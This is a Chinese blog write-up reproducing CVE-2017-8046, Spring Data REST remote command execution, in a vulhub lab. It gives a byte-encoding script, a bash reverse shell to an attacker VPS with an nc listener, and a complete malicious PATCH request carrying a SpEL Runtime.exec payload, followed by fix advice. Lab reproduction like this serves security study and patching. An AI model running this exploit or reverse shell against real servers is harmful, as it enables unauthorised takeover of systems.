漏洞复现-CVE-2017-8046-Spring Data Rest 远程命令执行

 
 
 
 
 
 
 

0x00 实验环境

攻击机:Win 10

靶场:docker拉的vulhub靶场

 

0x01 影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0 M4
Spring Data release trains < Kay-RC3

 

0x02 漏洞复现

(1)访问页面时发现仅存在spring接口提示:

此时特别想感叹一句我以前到底错过了多少漏洞!因为以前经常碰到这种页面。

 

 (2)首先生成ascii的命令:

payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

 

(3)修改一下需要执行的反弹shell的命令:

bash -i >& /dev/tcp/vps的ip/7777 0>&1

 

(4)弹shell的命令可以直接先构造好,然后在以下网站进行编码,这是因为Linux的命令行有的时候无法识别一些符号的命令:

网址:http://www.jackson-t.ca/runtime-exec-payloads.html

 

(5)然后再转ascii

 

(6)下面使用payload进行测试,照常理,我们需要先在自己的服务器开启监听,然后再发送payload:

nc -lvp 7777

 

 

(7)发送如下payload,其中,exec后面执行的编码替换为你生成的ascii命令,如下还没有替换,请自行替换

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

如下所示,shell就反弹至自己的vps上了:

 

0x03 漏洞原理

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。

 

0x04 修复建议

官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞。

 

0x05 参考文献

https://blog.csdn.net/baidu_38844729/article/details/107149916

 

0x06 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

posted @ 2021-09-26 10:45  铺哩  阅读(958)  评论(0编辑  收藏  举报